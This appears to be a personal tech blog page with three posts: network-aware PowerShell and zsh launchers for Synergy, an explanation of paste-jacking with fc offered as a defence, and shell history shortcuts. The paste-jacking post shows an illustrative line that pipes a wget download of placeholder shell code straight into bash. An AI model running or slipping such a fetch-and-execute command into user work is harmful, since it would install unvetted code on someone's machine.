c0d3 :: j0rg3

A collection of tips, tricks and snips. A proud Blosxom weblog. All code. No cruft.

Sat, 25 Jan 2014

Network-aware Synergy client

My primary machines are *nix or BSD variants, though I certainly have some Windows-based rigs also. Today we’re going to share some love with Windows 7 and PowerShell.

One of my favorite utilities is Synergy. If you’re not already familiar it allows to you seamlessly move from the desktop of one computer to another with the same keyboard and mouse. It even supports the clipboard so you might copy text from a GNU/Linux box and paste it in a Windows’ window. Possibly, they have finished adding drag and drop to the newer versions. I am not sure because I run a relatively old version that is supported by all of the machines that I use regularly.

What’s the problem, then? The problem was that I was starting my Synergy client by hand. Even more disturbing, I was manually typing the IP address at work and at home, twice or more per weekday. This behavior became automated by my brain and continued for months unnoticed. But this is no kind of life for a geek such as myself, what with all this superfluous clicking and tapping!

Today, we set things right!

In my situation, the networks that I use happen to assign IP addresses from different subnets. If you’ve not the convenience of that situation then you might need to add something to the script. Parsing an ipconfig/ifconfig command, you could possibly use something like the Default Gateway or the Connection-specific DNS Suffix. Alternatively, you could check for the presence of some network share, a file on server or anything that would allow you to uniquely identify the surroundings.

As I imagined it, I wanted the script to accomplish the following things

  • see if Synergy is running (possibly from the last location), if so ask if we need to kill it and restart so we can identify a new server
  • attempt to locate where we are and connect to the correct Synergy server
  • if the location is not identified, ask whether to start the Synergy client

This is how I accomplished that task:

# [void] simply supresses the noise made loading 'System.Reflection.Assembly'
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")

# Define Synergy server IP addresses
$synergyServerWork = "192.168.111.11"
$synergyServerHome = "192.168.222.22"

# Define partial IP addresses that will indicate which server to use
$synergyWorkSubnets = "192.168.111", "192.168.115"
$synergyHomeSubnets = "192.168.222", "192.168.225"

# Path to Synergy Client (synergyc)
$synergyClientProgram = "C:\Program Files\Synergy\synergyc.exe"

# Path to Syngery launcher, for when we cannot identify the network
$synergyLauncherProgram = "C:\Program Files\Synergy\launcher.exe"

# Remove path and file extension to give us the process name
$processName = $synergyClientProgram.Substring( ($synergyClientProgram.lastindexof("\") + 1), ($synergyClientProgram.length - ($synergyClientProgram.lastindexof("\") + 5) ))

# Grab current IP address
$currentIPaddress = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1]

# Find the subnet of current IP address
$location = $currentIPaddress.Substring(0,$currentIPaddress.lastindexof("."))


function BalloonTip ($message)
{
# Pop-up message from System Tray
$objNotifyIcon = New-Object System.Windows.Forms.NotifyIcon
$objNotifyIcon.Icon = [System.Drawing.Icon]::ExtractAssociatedIcon($synergyClientProgram)
$objNotifyIcon.BalloonTipText = $message
$objNotifyIcon.Visible = $True
$objNotifyIcon.ShowBalloonTip(15000)
}


#main

# If Synergy client is already running, do we need to restart it?
$running = Get-Process $processName -ErrorAction SilentlyContinue
if ($running) {
$answer = [System.Windows.Forms.MessageBox]::Show("Synergy is running.`nClose and start again?", "OHNOES", 4)
if ($answer -eq "YES") {
Stop-Process -name $processName
}
Else {
exit
}
}

# Do we recognize the current network?
if ($synergyWorkSubnets -contains $location) {
BalloonTip "IP: $($currentIPaddress)`nServer: $($synergyServerWork)`nConnecting to Synergy server at work."
& $synergyClientProgram $synergyServerWork
exit
}
ElseIf ($synergyHomeSubnets -contains $location) {
BalloonTip "IP: $($currentIPaddress)`nServer: $($synergyServerHome)`nConnecting to Synergy server at home."
& $synergyClientProgram $synergyServerHome
exit
}
Else {
$answer = [System.Windows.Forms.MessageBox]::Show("Network not recognized by IP address: {0}`n`nLaunch Synergy?" -f $unrecognized, "OHNOES", 4)
if ($answer -eq "YES") {
& $synergyLauncherProgram
}
}

Then I saved the script in "C:\Program Files\SynergyStart\", created a shortcut and used the Change Icon button to make the same as Synergy’s and made the Target:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden & 'C:\Program Files\SynergyStart\synergy.ps1'

Lastly, I copied the shortcut into the directory of things that run when the system starts up:
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup

Now, Synergy connects to the needed server at home and work. If it can’t figure out where it is, it asks if it should run it at all.

As they say, a millisecond saved is a millisecond earned.

This post was very nearly published without a Linux equivalent. Nearly.

Same trick for bash/zsh: #!/bin/zsh

# Define Synergy server IP addresses
synergyServerWork="192.168.111.11"
synergyServerHome="192.168.222.22"

# Define partial IP addresses that will indicate which server to use
synergyWorkSubnets=("192.168.111" "192.168.115")
synergyHomeSubnets=("192.168.222" "192.168.225")

# Path to Synergy Client (synergyc)
synergyClientProgram="/usr/bin/synergyc"

# Path to QuickSyngery, for when we cannot identify the network
synergyLauncherProgram="/usr/bin/quicksynergy"

# Remove path and file extension to give us the process name
processName=`basename $synergyClientProgram`

# Grab current IP address, assumes '192' is in use. (e.g., 192.168.1.1)
currentIPaddress=`ip addr show | grep 192 | awk "{print $2}" | sed 's/inet //;s/\/.*//;s/ //g'`

# Find the subnet of current IP address
location=`echo $currentIPaddress | cut -d '.' -f 1,2,3`

for i in "${synergyWorkSubnets[@]}"
do
if [ "${i}" = "${location}" ]
then
break
fi
done

#main

# If Synergy client is already running, do we need to restart it?
running=`ps ax | grep -v grep | grep $processName`
if [ $running ]
then
if `zenity --question --ok-label="Yes" --cancel-label="No" --text="Synergy is running.\nClose and start again?"`
then
pkill $processName
else
exit
fi
fi

# Do we recognize the current network?
for i in "${synergyWorkSubnets[@]}"
do
if [ "${i}" = "${location}" ]
then
notify-send "IP:$currentIPaddress Server:$synergyServerWork [WORK]"
$synergyClientProgram $synergyServerWork
exit
fi
done

for i in "${synergyHomeSubnets[@]}"
do
if [ "${i}" = "${location}" ]
then
notify-send "IP:$currentIPaddress Server:$synergyServerWork [HOME]"
$synergyClientProgram $synergyServerHome
exit
fi
done

if `zenity --question --ok-label="Yes" --cancel-label="No" --text="Network not recognized by IP address: $currentIPaddress\nLaunch Synergy?"`
then
$synergyLauncherProgram
fi

To get it to run automatically, you might choose to call the script from /etc/init.d/rc.local.

Download here:
  PowerShell:
    synergy.ps1
  GNU/Linux:
    synergy.sh


Tags: , ,
Permalink: 20140125.network_aware_synergy_client

Thu, 04 Jul 2013

Preventing paste-jacking with fc

Paste-jacking: what? It’s a somewhat tongue-in-cheek name representing that, when it comes to the web, what you see is not necessarily what you copy.

Content can be hidden inside of what you’re copying. For example: ls /dev/null; echo " Something nasty could live here! 0_o ";
ls
-l

Paste below to see what lurks in the <span> that you’re not seeing:

If pasted to the command line, this could cause problems. It might seem trivial but it isn’t if you give it some thought. If I had compiled a command that could be considered a single line, but a very long line then commands could easily be slipped in and it might not jump out at you. Given the right kind of post, it could even involve a sudo and one might give very little thought to typing in a password, handing all power over. It even could be something like: wget -q "nasty-shell-code-named-something-harmless-sounding" -O-|bash
clear

Then it would, of course, continue with innocuous commands that might do something that takes your attention and fills your screen with things that look comforting and familiar, like an apt-get update followed by an upgrade.

In this way, an unsuspecting end-user could easily install a root-kit on behalf of Evil Genius™.

So what’s the cure?

Some suggest that you never copy and paste from web pages. That’s solid advice. You’ll learn more by re-typing and nothing is going to be hidden. The downside is it isn’t entirely practical. It’s bound to be one of those things that, in certain circumstances, we know that we ought do but don’t have time or patience for, every single time.

To the rescue comes our old friend fc! Designed for letting you build commands in a visual editor, it is perfect for this application. Just type fc at the command line and then paste from the web page into your text editor of choice. When you’re satisfied with the command, exit the editor. The line will be executed and there won’t be a shred of doubt about what, precisely, is being executed.

This isn’t really the intended use of fc, so it’s a makeshift solution. fc opens with the last command already on screen. So, you do have to delete that before building your new command but it’s an insignificant inconvenience in exchange for the ability to know what’s going to run before it has a chance to execute.

Read more at ush.it and h-online.com.


Tags: , , ,
Permalink: 20130704.prevent.paste-jacking.with.fc

Thu, 06 Jun 2013

Managing to use man pages through simple CLI tips

Recently, an author I admire and time-honored spinner of the Interwebs, Tony Lawrence emphasized the value of using man pagesmanual pagesDocumentation available from the command line.
> man ls
as a sanity check before getting carried away with powerful commands. I didn’t know about this one but he has written about a situation in which killall could produce some shocking, and potentially quite unpleasant, results.

Personally, I often quickly check man pages to be certain that I am using the correct flags or, as in the above case, anticipating results that bear some resemblance to what is actually likely to happen. Yet, it seems many people flock toward SERPSearch Engine Results Page A tasteful replacement for mentioning any particular search-engine by name.
Also useful as a verb:
I dunno. You’ll have to SERP it.
s for this information.

Perhaps the most compelling reason to head for the web is leaving the cursor amid the line you’re working on, without disturbing the command. SERPing the command however, could easily lead you to information about a variant that is more common than the one available to you. More importantly, the information retrieved from the search engine is almost certainly written by someone who did read the man page — and may even come with the admonishment that you RTFMRead The F#!$!*#’n Manual as a testament to the importance of developing this habit.

This can be made easier with just a few CLI shortcuts.

<CTRL+u> to cut what you have typed so far and <CTRL+y> to paste it back.

That is, you press <CTRL+u> and the line will be cleared, so you can then type man {command} and read the documentation. Don’t hesitate to jot quick notes of which flags you intend to use, if needed. Then exit the man page, press <CTRL+y> and finish typing right where you left off.

This is another good use for screen or tmux but let’s face it. There are times when you don’t want the overhead of opening another window for a quick look-up and even instances when these tools aren’t available.

A few other tips to make life easier when building complex commands:

Use the command fc to open up an editor in which you can build your complex command and, optionally, even save it as a shell script for future reuse.

Repeat the last word from the previous command (often a filename) with <ALT+.> or use an item from the last command by position, in reverse order:
> ls -lahtr *archive*
<ALT+1+.> : *archive*
<ALT+2+.> : -lahtr
<ALT+3+.> : ls

You can also use Word Designators to use items from history, such as adding sudo to the last command typed by:
sudo !!

This allows for tricks like replacing bits of a previous command:
!:s/misspelled/corrected/

Lastly, if you need a command that was typed earlier, you can search history by pressing <CTRL+r> and start typing an identifying portion of the command.

(Note: I have used these in Zsh and Bash, specifically. They can, however, be missing or overwritten — if a feature you want isn’t working, you can bind keys in a configuration file. Don’t just write it off, once you’ve solved the problem it will never again be an intimidating one.)

Happy hacking!


Tags: , , , , , , , ,
Permalink: 20130606.managing.to.use.man.pages